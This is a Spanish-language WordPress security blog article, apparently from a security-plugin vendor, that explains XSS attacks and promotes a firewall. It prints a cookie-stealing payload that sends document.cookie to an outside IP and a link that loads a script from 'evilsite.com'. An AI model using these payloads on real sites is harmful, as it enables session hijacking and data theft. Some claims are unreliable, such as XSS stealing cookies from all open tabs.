
Comencemos diciendo que si te preocupa los ataques WordPress XSS, no estás siendo paranoico sino prudente. La vulnerabilidad del cross-site scripting no está restringida a los sitios web de WordPress solamente, sino que la afecta de igual manera. La mejor defensa es instalar un cortafuegos, y mantener tus temas y plugins actualizados.
Cómo prevenir Ataques XSS en WordPress
En este artículo, vamos a desglosar cuál es exactamente la vulnerabilidad, y tened en cuenta que se va a volver técnica, para que podáis tomar decisiones con información sobre seguridad de vuestro sitio web.
[/ihc-hide-content]
¿Qué es WordPress XSS?
Cross-site scripting o XSS, por sus siglas, es un ataque de malware que se lleva a cabo explotando una vulnerabilidad de scripts de sitios cruzados en el sitio web de WordPress, también llamado cross-site scripting. Es la forma más común en que los sitios web de WordPress son hackeados, especialmente porque hay decenas de plugins que tienen vulnerabilidades de XSS.
Entonces, ¿qué es el ataque XSS o cross-site scripting?
Cross-site scripting o XSS es una vulnerabilidad que permite que el código JavaScript no autorizado sea ejecutado en un sitio web. De hecho, es la vulnerabilidad más común del sitio web, y es super difícil de detectar porque los ataques que explotan esta vulnerabilidad pueden ser de muchos tipos. Esto es especialmente cierto en sitios web grandes y complejos.
Hay muchos tipos de ataques, pero pueden ser agrupados en dos categorías para mayor claridad:
- El script malicioso se ejecuta en el lado del cliente en el navegador;
- O, uno donde los scripts maliciosos se almacenan y ejecutan en el servidor, y luego son servidos por el navegador;
- Y en cualquier caso, el hacker puede usar un ataque XSS para robar datos o manipular el aspecto y el comportamiento del sitio.
Esta es la versión simplificada del cross-site scripting. Puedes encontrar una explicación más detallada al final de este artículo.
¿Por qué son tan comunes los ataques de XSS?
Los plugins de WordPress pueden ser extremadamente complejos. A veces incluso más complejos que el propio WordPress. Con mayor complejidad, la posibilidad de problemas de seguridad sólo aumenta. Los ataques XSS son particularmente difíciles de proteger para no dificultar aún más el trabajo del autor del plugin.
Incluso algunas de las mejores compañías web con equipos de seguridad dedicados, como Google, Apple, Facebook y más, han sufrido de tales ataques. Ayudará a poner las cosas en perspectiva en cuanto a cómo puede arrastrarse a un plugin de WordPress con muchos menos recursos.
¿Mi sitio web es vulnerable a un ataque XSS?
Si tienes un firewall y mantienes todo actualizado, la posibilidad es significativamente menor. Pero recuerde que no hay una protección infalible contra tales ataques. Puede haber una vulnerabilidad no pública que puede ser explotada por un hacker. Por lo tanto, como medida de seguridad, escanee su sitio web regularmente.
Aunque el daño causado por tales vulnerabilidades depende de los detalles exactos del problema, en el peor de los casos, todo el sitio puede ser tomado por los hackers. En algunos casos, los piratas informáticos pueden hacer un pequeño cambio en el sitio, incluso redirigir su sitio a su propio sitio malicioso.
En otras palabras, los hackers pueden utilizar su navegador para:
- Secuestrar la sesión de un usuario olfateando el ID de la sesión
- Coloca pop ups no autorizados y redirecciona
- Lanzar ataques de phishing
- Instale registradores de teclado que anoten cada tecla pulsada por la víctima
- Robar información financiera
Sólo hay una manera de defenderse contra tales ataques.
[ihc-hide-content ihc_mb_type=»block» ihc_mb_who=»unreg» ihc_mb_template=»1″ ]Instalar el cortafuegos de All In One WP Security & Firewall de inmediato.
[/ihc-hide-content]¿Son todos los ataques XSS igualmente peligrosos?
No. Algunos ataques XSS son mucho más peligrosos ya que pueden dar al hacker un acceso completo a tu sitio. Los hackers pueden entonces hacer lo que quieran con el sitio.
Otros dejan que los hackers modifiquen sólo una pequeña parte del sitio. Esto también puede ser muy peligroso con el malware que se sirve a sus visitantes y más.
Algunos ataques XSS pueden necesitar que el hacker ya sea un colaborador de su sitio. En este caso, el peligro es mucho menor.
¿Cómo explotan los hackers tales vulnerabilidades?
La mayoría de los hackers utilizan la automatización para encontrar vulnerabilidades. Después de eso, sólo es cuestión de ejecutar el hacker. En ciertos casos, todo el ataque puede ser realizado por un bot.
Les dijimos por adelantado que hay 5 formas básicas en las que un hacker puede usar el cross-site scripting de una manera práctica. Vamos a explicarte todas esas variantes una por una.
#1 Secuestrar la sesión del usuario
Ya hemos hablado un poco sobre cómo un ataque XSS puede acceder a una cookie. Ahora, la parte más peligrosa de ser capaz de obtener una cookie es que el mismo hacker puede revelar el ID de la sesión de un usuario.
La mayoría de los sitios web usan las sesiones como un identificador único para cada usuario. Estas sesiones se almacenan en cookies de sesión. Usando un simple script como este:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src=»http://192.168.149.128/bogus.php?output=»+document.cookie;</script>
Un hacker puede enviar la cookie de sesión al sitio http://192.168.149.128/ y esta solicitud se registra en el archivo access.log del servidor.
Ahora, usando esta información de sesión, el hacker puede entrar fácilmente en cualquier cuenta a la que haya accedido sin necesidad de una contraseña.
#2 Realizar actividades no autorizadas
Hay ciertos casos en los que el hacker no puede usar Javascript para robar la cookie. En este caso, tratan de usar los ataques XSS para realizar actividades no autorizadas. Por ejemplo, un mensaje que aparece en los comentarios de su entrada en el blog y que sigue siendo publicado.
Este tipo de ataque puede tomar la forma de desfiguración del sitio o de un script malicioso que se sigue propagando a más y más usuarios.
#3 Ataques de phishing
En muchas situaciones, un ataque XSS de WordPress es sólo el punto de partida para un esquema mucho más grande. Hay scripts de sitios cruzados que conducen a ataques de phishing en su sitio también. En la mayoría de los casos, el guión malicioso comienza a empujar estafas de phishing en su sitio que engañarán a sus usuarios para que entreguen su información sensible.
Tenemos un artículo completo sobre los ataques de phishing, así que léalo si quiere saber más.
#4 Instalación de registradores de teclas
En este escenario de ataque, el hacker implementa un script que instala un keylogger en un sitio vulnerable. Cada vez que un usuario teclea algo, el keylogger lo almacena y se lo envía al hacker. Este es un ataque peligroso y puede robar contraseñas e información de tarjetas de crédito en un instante.
El archivo JavaScript contiene el siguiente código:
[ihc-hide-content ihc_mb_type=»block» ihc_mb_who=»unreg» ihc_mb_template=»1″ ]Archivo: /var/www/html/xss.js
[/ihc-hide-content]
En este código, verás que el Javascript abre un archivo llamado ‘keylog.php’. El código en ese archivo guarda todas las teclas pulsadas por el teclado de un usuario en un archivo llamado data.txt.
[ihc-hide-content ihc_mb_type=»block» ihc_mb_who=»unreg» ihc_mb_template=»1″ ]Archivo: /var/www/html/keylog.php
[/ihc-hide-content]
Usando esta técnica, un hacker puede leer fácilmente lo que estás escribiendo en un sitio infectado.
#5 Robar información sensible
Ya hemos hablado bastante sobre las cookies y cómo pueden ser robadas. Este tipo de ataque simplemente lleva el mismo principio aún más lejos.
Imagine que la página de banca por Internet de su banco es vulnerable a los ataques XSS. Usando el script correcto, el hacker podría entrar directamente en su cuenta bancaria sin ninguna validación.
De nuevo, este no es un concepto nuevo. Es sólo una extensión de lo que un hacker puede hacer con las cookies de sesión.
¿Cómo protegerse de los ataques del XSS?
Los cortafuegos son su mejor defensa ante una amenaza en constante evolución.
Los cortafuegos tienen reglas especiales que buscan las solicitudes que pueden contener textos sospechosos que se encuentran típicamente en los ataques XSS. El problema es que los hackers siguen encontrando variaciones más inteligentes de este texto malicioso que pueden eludir algunos de los cortafuegos más inteligentes.
Sin embargo, esta no es la mejor solución en todo momento. Es un juego del gato y el ratón y a menudo puede obtener algunos falsos positivos.
Tenemos un artículo sobre cómo asegurar un sitio de WordPress que definitivamente deberías revisar.
Cómo detectar un ataque XSS de WordPress en su sitio
La forma más simple de detectar un ataque XSS en su sitio es instalar un plugin de seguridad.
[ihc-hide-content ihc_mb_type=»block» ihc_mb_who=»unreg» ihc_mb_template=»1″ ] Anti-Malware tiene un escáner de malware automatizado que analiza todo tu sitio todos los días. Con un algoritmo de aprendizaje de máquina de última generación, el explorador de malware detecta scripts maliciosos en cualquier lugar de tu sitio.[/ihc-hide-content]
Incluso encuentra malware desconocido y te ofrece una opción de «limpieza automática».
Por supuesto, lo más sensato es no dejar nunca que un hacker como estos ataquen tu web. Pero los ataques XSS son increíblemente difíciles de proteger. Lo mejor que puedes hacer es endurecer la seguridad de WordPress.
También puedes aprovechar al máximo el Firewall avanzado del plugins. El cortafuegos evita automáticamente que las direcciones IP sospechosas o maliciosas se conecten a tu sitio.
¿La mejor parte? Cada vez que se descubre la IP de un hacker en cualquiera de los más de 250.000 sitios que el plugins protege, esa dirección IP se prohíbe en todos los sitios que están bajo la protección de ese plugins.
¿Cómo funciona el XSS?
Dependiendo del tipo de ataque que el hacker lance, hay diferentes tipos de cross-site scripting. Todos tienen una cosa en común: todos usan Javascript para propagar el malware.
Javascript es un lenguaje que se sitúa entre el código HTML de las páginas web. Ahora, Javascript es capaz de crear variables que realizan cálculos extremadamente poderosos. Como tal, puedes usarlo para hacer casi cualquier cosa que puedas imaginar.
Por ejemplo, digamos que tienes un sitio web de WooCommerce que acepta detalles de pago y los almacena en la base de datos de WordPress. Puedes usar Javascript para enviar los detalles de la tarjeta de crédito y los datos de acceso a otra persona!
Así que, cuando un hacker explota una vulnerabilidad en el código de tu sitio para ejecutar Javascript, eso es un ataque XSS. Típicamente, este tipo de vulnerabilidad ocurre en cualquier lugar de su sitio donde un usuario puede introducir datos. Esto incluye ventanas emergentes, formularios, barras de búsqueda, incluso sus URLs.
Ahora, este campo de entrada de datos no tiene que ser un campo visual. Incluso puede ser una variable defectuosa en el código de su sitio que obtiene datos no depurados de cualquier archivo o base de datos.
El núcleo de WordPress también era vulnerable a los ataques XSS. Inicialmente, todo lo que un hacker necesitaba hacer para ejecutar XSS era crear un archivo PHP que tuviera las siguientes líneas de código:
[ihc-hide-content ihc_mb_type=»block» ihc_mb_who=»unreg» ihc_mb_template=»1″ ]
1 2 3 |
/* Template Name: <script>confirm(document.cookie);</script> */ |
[/ihc-hide-content]
Vamos a desglosar eso.
Ese pedazo de código es sólo un comentario que declara el nombre del archivo. Por sí solo, es benigno y es ignorado por WordPress.
Pero dentro del comentario, notarán que después del «Nombre de la Plantilla:» hay un pedazo de código que comienza con «<script>» y termina con «</script>». Este es un código Javascript que intenta recuperar la cookie y mostrar un cuadro de confirmación en su navegador.
Este es un ejemplo de un ataque XSS de WordPress.
Una versión antigua de WordPress lo habría ejecutado inmediatamente, ya que el nombre de la plantilla sería obtenido por el editor de temas de WordPress tal cual. El Editor de Temas obtuvo el nombre de la plantilla usando una función ‘$file_description’ que no tenía ninguna contramedida contra los ataques XSS.
Por supuesto, el script del ejemplo anterior no es tan poderoso o malicioso. Pero el punto sigue siendo el mismo. Si el código benigno puede ser ejecutado en cualquier campo de entrada, el código malicioso también puede!
Este hack en particular fue parcheado en la versión 4.8.2 de WordPress, pero la misma vulnerabilidad existe en muchos temas y plugins de WordPress.
De hecho, este es un gran problema con muchos plugins de WordPress. El hecho es que la mayoría de los plugins pueden ser extremadamente complejos. Algunos son incluso más complejos que los archivos centrales de WordPress. Este grado de complejidad a menudo puede resultar en problemas de seguridad.
Y así es como funciona WordPress XSS. Si estás ejecutando una versión anterior de WordPress, te recomendamos que la actualices inmediatamente.
Además, aquí tienes una lista de plugins de WordPress que se sabe que tienen vulnerabilidades de XSS. Te recomendamos encarecidamente que las evites en la medida de lo posible. Si estás usando uno de estos plugins, averigua si tienen una actualización que haya parcheado la vulnerabilidad y que se actualice a la última versión.
Tipos de escritura cruzada o Cross-Site Scripting
Hay principalmente dos tipos de Ataques XSS sobre los que necesitas aprender:
- Ataque XSS almacenado o persistente – El objetivo de este ataque es el visitante de su sitio web. Ellos defraudan a los clientes, roban su información privada y sus fondos.
Ataque XSS Reflexivo o no persistente – El objetivo es tu sitio web de WordPress.
Explicaremos ambos ataques en detalle.
Ataque XSS almacenado o persistente
Supongamos que tu sitio web es un blog que permite a la gente comentar los artículos que publicas. Cuando un visitante deja un comentario, los datos se envían a la base de datos y se almacenan.
Su sitio debe tener configuraciones para desinfectar los datos antes de que sean enviados a la base de datos. Esto significa que debe comprobar si lo que el usuario ha introducido es un comentario normal o si se trata de un script malicioso. Si estas comprobaciones no se realizan, se abre un fallo en el XSS de WordPress. Veamos cómo:
Paso 1: El hacker encuentra la vulnerabilidad y la explota
Los piratas informáticos utilizan escáneres automatizados para navegar por Internet y encontrar sitios web que tienen una vulnerabilidad XSS. Una vez que encuentran su sitio, introducen scripts maliciosos en su sección de comentarios. Como su sitio web no tiene controles, acepta el script y lo envía a la base de datos.
Paso 2: Un visitante ve la página infectada
Para un visitante, la entrada del hacker se vería como un comentario regular. Lo que el visitante y el dueño del sitio web no saben es que este comentario es un código ejecutable diseñado para robar cookies. Cualquiera que simplemente visite esta página será impactado.
Paso 3: El hacker roba las cookies del navegador
Sabemos que los usuarios habituales suelen tener varias pestañas abiertas en un navegador como el correo electrónico, Facebook, un sitio de compras como Amazon, un sitio web de trabajo, YouTube, etc.
Cuando visitan tu sitio web y ven la página con el comentario del hacker, el código se ejecuta. Esto permite al hacker robar las cookies de su navegador. Este ataque se llama «cross-site» porque son capaces de robar las cookies de todos los sitios abiertos en diferentes pestañas.
Paso 4: El hacker explota las cookies robadas
A continuación, utilizando estas cookies, los hackers pueden hacerse pasar por usuarios autentificados en el sitio de compras y hacer compras. Los atacantes pueden robar información confidencial de la cuenta, como nombres de usuario y contraseñas. También pueden piratear su correo electrónico y enviar correos de phishing o de estafa a sus contactos. La lista es interminable.
Este tipo de ataque pone en peligro a cualquiera que visite su sitio web. En el siguiente tipo de ataque XSS, apunta directamente al sitio web.
Ataque XSS reflectante o no persistente
En el ataque anterior, vimos cómo los hackers apuntan a los visitantes. Pero en este ataque, los hackers infectan el propio sitio web. Como mencionamos antes, la mayoría de los usuarios de Internet tienen varias pestañas abiertas en sus navegadores.
Lo mismo se aplica a los propietarios de sitios web también.
Muchas veces, el panel de control del administrador de WordPress es sólo una de las pestañas abiertas en el navegador. Esto hace posible un ataque XSS reflexivo.
Ilustraremos cómo sucede esto:
Paso 1: Conseguir que el dueño del sitio haga clic en un enlace malicioso
Muy a menudo, los hackers envían enlaces maliciosos a través de correos electrónicos esperando que alguien caiga en su trampa. En otros casos, los hackers colocan estos enlaces maliciosos en otros sitios de WordPress.
Al hacer clic en el enlace, hace que se cargue un script en su sitio web desde un sitio web externo. Este enlace contiene un código como este:
https://yoursite.com/test.php?val=<script src=»http://evilsite.com/badscript.js»></script>
Paso 2: Agarrar las cookies de la sesión
Al hacer clic en el enlace, se ejecuta el código. Esto permite a los hackers robar tus cookies y hacerse pasar por un usuario que ha iniciado sesión en tu cuenta de administrador de tu sitio de WordPress. Una vez que obtienen acceso a tu sitio, pueden robar las credenciales de inicio de sesión y los datos sensibles, bloquearte para que no entres en tu propio sitio web y utilizarlo para ejecutar diferentes tipos de hacks.
Los ataques XSS tienen graves consecuencias y dañan tu sitio web y tu negocio. Recuperarse de un ataque de este tipo consume mucho tiempo y dinero. Puede evitar ser víctima de XSS tomando precauciones contra él.
¿Qué es lo siguiente?
El siguiente paso es siempre establecer una protección contra futuros ataques. No hay una forma agradable de decir esto, pero no hay una forma infalible de proteger su sitio contra el crimen cibernético. Lo mejor que podemos sugerir por ahora es tener un proceso alrededor de las auditorías de seguridad rutinarias de WordPress.
Tenemos un artículo completo sobre cómo prevenir los ataques XSS de WordPress. Por lo tanto, le recomendamos que se dirija a ese artículo y lo lea si su sitio está siendo atacado en este momento.
También puedes llamarnos ahora mismo. Le ayudaremos a automatiza la mayor parte del trabajo sucio que necesitarás para mejorar la seguridad de tu sitio.
Preguntas frecuentes
¿Qué es el XSS?
El cross site scripting o XSS es una vulnerabilidad de seguridad común que se encuentra en las aplicaciones web. La vulnerabilidad permite a un hacker ejecutar código malicioso en su navegador. Cualquier ciberataque que utilice una vulnerabilidad XSS se conoce como ataque XSS.
¿Qué es un ejemplo de ataque XSS?
Los ataques XSS son extremadamente populares y bastante viciosos. Naturalmente, se han utilizado contra algunas de las mayores empresas del mundo, incluyendo Facebook, YouTube y Google, para robar contraseñas e información personal.
¿Qué significa cross-site scripting?
Cross-site scripting (XSS) es un ciberataque que utiliza scripts maliciosos en el navegador web para piratear las cookies de sesión del navegador y robar datos altamente sensibles. Si se utiliza de forma eficaz, la secuencia de comandos de sitios cruzados puede robar contraseñas e información financiera. Los ataques XSS de WordPress son muy difíciles de defender a menos que se utilice un potente cortafuegos para bloquear las direcciones IP maliciosas.
¿Por qué es peligroso el XSS?
El cross-site scripting es extremadamente peligroso. Dependiendo del bot utilizado para encontrar una vulnerabilidad y de las capacidades de codificación del hacker, el atacante puede robar cualquier tipo de información sensible. También es muy difícil de defenderse porque no hay una plantilla general para el XSS y es muy difícil de detectar.
¿Cómo proteger su sitio de los ataques XSS? La forma más sencilla de defenderse de los ataques XSS es instalar un cortafuegos que pueda bloquear eficazmente el tráfico malicioso. Para WordPress, también recomendamos endurecer su sitio web contra los típicos hackeos.